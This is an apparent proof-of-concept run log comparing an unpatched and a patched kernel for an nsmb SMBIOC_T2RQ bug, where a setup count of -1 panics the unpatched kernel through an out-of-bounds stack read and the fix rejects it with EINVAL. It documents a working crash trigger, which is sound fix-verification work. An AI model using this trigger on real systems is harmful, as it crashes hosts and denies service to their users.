=== BASELINE (unpatched #0 kernel) ===
[*] DF-0734: nsmb T2RQ signed/unsigned OOB read trigger
[+] smb_ctx_init ok (parsed UNC)
[*] resolving context...
[+] context resolved
[*] establishing VC + share via SMBIOC_LOOKUP...
[+] VC + share established (fd=3)
[*] issuing SMBIOC_T2RQ with ioc_setupcnt = -1 (0xffffffff)
[*] VULNERABLE kernel → fatal page fault (OOB stack read)
(SSH session hangs — guest panicked)

panic: vm_fault: fault on stack guard, addr: 0xfffff801187bc000
Trace:
vm_fault() at vm_fault+0x12eb
trap_pfault() at trap_pfault+0x9a
trap() at trap+0x17c
calltrap() at calltrap+0x9
smb_t2_request() at smb_t2_request+0x2b7
smb_usr_t2request() at smb_usr_t2request+0xc6

=== PATCHED (fixed smbfs.ko module) ===
[*] DF-0734: nsmb T2RQ signed/unsigned OOB read trigger
[+] smb_ctx_init ok (parsed UNC)
[*] resolving context...
[+] context resolved
[*] establishing VC + share via SMBIOC_LOOKUP...
[+] VC + share established (fd=3)
[*] issuing SMBIOC_T2RQ with ioc_setupcnt = -1 (0xffffffff)
[*] VULNERABLE kernel → fatal page fault (OOB stack read)
[!] T2RQ returned rc=-1 errno=22 (EINVAL)
EXIT=0
(guest stays up — fix rejects negative setupcnt with EINVAL)